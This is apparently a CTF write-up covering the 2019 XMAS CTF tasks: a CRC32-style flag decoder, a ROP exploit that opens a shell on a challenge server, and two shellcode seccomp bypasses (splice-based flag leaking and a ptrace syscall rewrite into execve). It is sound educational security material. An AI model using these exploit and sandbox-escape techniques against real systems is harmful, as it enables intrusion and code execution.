XMAS CTF was held in Christmas for those who are lone!
We zer0pts
played this CTF and I worked on pwn tasks which are well-designed.
I couldn't work on it full-time because I had school but still enjoyed the CTF :)
Other members' writeups:
The tasks and solvers:
https://bitbucket.org/ptr-yudai/writeups/src/master/2019/Christmas_CTF/
[rev 919pts] welcome rev
The program just encodes the flag and saves it. I just did the opposite operations and decoded the flag.
import struct table = [] def search_by_msb(msb): for i, value in enumerate(table): if value >> 24 == msb: return i, value raise Exception("Not found") def decode(encoded): output = '' dList = [0, 0, 0, 0] for i in range(4): d, t = search_by_msb(encoded >> 24) dList[3 - i] = d encoded = (encoded ^ t) << 8 encoded = 0xffffffff for i in range(4): c = dList[i] ^ (encoded & 0xff) encoded = (encoded >> 8) ^ table[dList[i]] output += chr(c) return output if __name__ == '__main__': with open('welcome_rev', 'rb') as f: f.seek(0xae0) for i in range(0x100): table.append(struct.unpack('<I', f.read(4))[0]) with open('encrypted', 'rb') as f: output = '' while True: data = f.read(4) if data == b'': break v = decode(struct.unpack('<I', data)[0]) output += v print(output)
After decoding, I found it's actually just a CRC32.
[pwn 834pts] Solo Test
We're given a 64-bit ELF.
$ checksec -f solo_test RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 83 Symbols No 0 6 solo_test
As it has simple stack overflow, we can easily get the shell. I found the server works with libc-2.29 by using libc database.
from ptrlib import * elf = ELF("./solo_test") #libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./solo_test") sock = Socket("115.68.235.72", 1337) libc = ELF("./libc6_2.29-0ubuntu2_amd64.so") rop_pop_rdi = 0x00400b83 # Stage 1 payload = b'A' * 0x58 payload += p64(rop_pop_rdi) payload += p64(elf.got('puts')) payload += p64(elf.plt('puts')) payload += p64(elf.symbol('_start')) sock.sendafter(">> ", "Me") sock.sendafter(">> ", "No") sock.sendafter(">> ", "CTF") sock.sendafter(">> ", "Never") sock.sendafter(">> ", "No") sock.sendafter("> ", payload) libc_base = u64(sock.recvline()) - libc.symbol('puts') logger.info("libc = " + hex(libc_base)) # Stage 2 payload = b'A' * 0x58 payload += p64(rop_pop_rdi + 1) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find('/bin/sh'))) payload += p64(libc_base + libc.symbol('system')) sock.sendafter(">> ", "Me") sock.sendafter(">> ", "No") sock.sendafter(">> ", "CTF") sock.sendafter(">> ", "Never") sock.sendafter(">> ", "No") sock.sendafter("> ", payload) sock.interactive()
[pwn 961pts] babyseccomp
The program just opens the flag and accepts shellcode but it has the following seccomp filter.
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x19 0xc000003e if (A != ARCH_X86_64) goto 0027 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x25 0x17 0x00 0x40000000 if (A > 0x40000000) goto 0027 0004: 0x15 0x16 0x00 0x0000003b if (A == execve) goto 0027 0005: 0x15 0x15 0x00 0x00000142 if (A == execveat) goto 0027 0006: 0x15 0x14 0x00 0x00000002 if (A == open) goto 0027 0007: 0x15 0x13 0x00 0x00000101 if (A == openat) goto 0027 0008: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0027 0009: 0x15 0x11 0x00 0x00000011 if (A == pread64) goto 0027 0010: 0x15 0x10 0x00 0x00000013 if (A == readv) goto 0027 0011: 0x15 0x0f 0x00 0x00000127 if (A == preadv) goto 0027 0012: 0x15 0x0e 0x00 0x00000147 if (A == preadv2) goto 0027 0013: 0x15 0x0d 0x00 0x00000001 if (A == write) goto 0027 0014: 0x15 0x0c 0x00 0x00000012 if (A == pwrite64) goto 0027 0015: 0x15 0x0b 0x00 0x00000014 if (A == writev) goto 0027 0016: 0x15 0x0a 0x00 0x00000128 if (A == pwritev) goto 0027 0017: 0x15 0x09 0x00 0x00000148 if (A == pwritev2) goto 0027 0018: 0x15 0x08 0x00 0x00000028 if (A == sendfile) goto 0027 0019: 0x15 0x07 0x00 0x00000038 if (A == clone) goto 0027 0020: 0x15 0x06 0x00 0x00000039 if (A == fork) goto 0027 0021: 0x15 0x05 0x00 0x00000065 if (A == ptrace) goto 0027 0022: 0x15 0x04 0x00 0x00000029 if (A == socket) goto 0027 0023: 0x15 0x03 0x00 0x0000002b if (A == accept) goto 0027 0024: 0x15 0x02 0x00 0x00000031 if (A == bind) goto 0027 0025: 0x15 0x01 0x00 0x00000032 if (A == listen) goto 0027 0026: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0027: 0x06 0x00 0x00 0x00000000 return KILL
I looked over the syscall table and found splice
useful.
In order to leak the flag to stdout, we need to create a pipe so that splice works fine.
Here's my shellcode:
_start: lea rdi, [rbp+0x10] mov rax, 22 syscall ; pipe(&p) mov r9, 1 mov r8, 0x100 xor r10, r10 xor edx, edx mov edx, [rbp+0x14] xor rsi, rsi xor edi, edi mov edi, [rbp-0x1014] mov rax, 275 syscall ; splice(fd, NULL, p[1], NULL, 0x100, 1) mov r9, 1 mov r8, 0x100 xor r10, r10 mov rdx, 1 xor rsi, rsi xor edi, edi mov edi, [rbp+0x10] mov rax, 275 syscall ; splice(p[0], NULL, 1, NULL, 0x100, 1)
[pwn 993pts] adult seccomp
We're given a binary and some docker environment files.
From the Dockerfile, we can easily find our objective to run /readflag
.
Otherwise there's no luck because /readflag
is only executable (not readable).
Also, there's the following filter:
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0006 0005: 0x06 0x00 0x00 0x00000000 return KILL 0006: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0013 0007: 0x15 0x05 0x00 0x00000142 if (A == execveat) goto 0013 0008: 0x15 0x04 0x00 0x00000029 if (A == socket) goto 0013 0009: 0x15 0x03 0x00 0x0000009d if (A == prctl) goto 0013 0010: 0x15 0x02 0x00 0x0000003a if (A == vfork) goto 0013 0011: 0x15 0x01 0x00 0x00000038 if (A == clone) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL
How can we execute a binary without using execve
and execveat
?
It's not possible but there's a way to forge the seccomp.
Before certain kernel version, the kernel allows a tracer to hook a system call of its tracee.
We can do this because fork
and ptrace
are not banned.
Here's my final shellcode:
_start: mov rbp, rsp mov rax, 57 syscall ; fork() test eax, eax jz child mov [rbp + 0x8], rax ; cpid parent: lea r10, [rbp + 0x20] xor rdx, rdx lea rsi, [rbp + 0x10] mov rdi, [rbp + 0x8] mov rax, 61 syscall ; wait4(cpid, &s, 0) mov r10, 1 xor rdx, rdx mov rsi, [rbp + 0x8] mov rdi, 0x4200 mov rax, 101 syscall ; ptrace(PTRACE_SETOPTIONS, cpid, 0, PTRACE_O_TRACESYSGOOD) .@Lp: xor r10, r10 xor rdx, rdx mov rsi, [rbp + 0x8] mov rdi, 24 mov rax, 101 syscall ; ptrace(PTRACE_SYSCALL, cpid, 0, 0) lea r10, [rbp + 0x20] xor rdx, rdx lea rsi, [rbp + 0x10] mov rdi, [rbp + 0x8] mov rax, 61 syscall ; wait4(cpid, &s, 0) mov rax, [rbp + 0x10] mov rbx, rax and rbx, 0b1111111 cmp rbx, 0b1111111 jnz .@Skip shr rax, 8 and rax, 0x80 test eax, eax jz .@Skip lea r10, [rbp + 0x40] xor rdx, rdx mov rsi, [rbp + 0x8] mov rdi, 12 mov rax, 101 syscall ; ptrace(PTRACE_GETREGS, cpid, 0, &r) mov rax, [rbp + 0x40 + 0x78] cmp rax, 39 jnz .@Skip mov qword [rbp + 0x40 + 0x78], 59 ; dummy --> execve lea r10, [rbp + 0x40] xor rdx, rdx mov rsi, [rbp + 0x8] mov rdi, 13 mov rax, 101 syscall ; ptrace(PTRACE_SETREGS, cpid, 0, &r) .@Skip: mov rax, [rbp + 0x10] and rax, 0b1111111 test rax, rax jnz .@Lp jmp exit child: xor r10, r10 xor rdx, rdx xor rsi, rsi xor rdi, rdi mov rax, 101 syscall ; ptrace(PTRACE_TRACEME, 0, 0, 0) mov rax, 39 syscall mov rsi, 17 mov rdi, rax mov rax, 62 syscall ; kill(getpid(), SIGSTOP) ; mov rax, 0x0068732f6e69622f mov rax, 0x616c66646165722f mov rbx, 0x0000000000000067 mov [rbp + 0x10], rax mov [rbp + 0x18], rbx lea rdi, [rbp + 0x10] xor rdx, rdx mov [rbp + 0x20], rdi mov qword [rbp + 0x28], 0 lea rsi, [rbp + 0x20] mov rax, 39 syscall ; dummy("/readflag", NULL, NULL) jmp exit exit: mov rdi, 0 mov rax, 60 syscall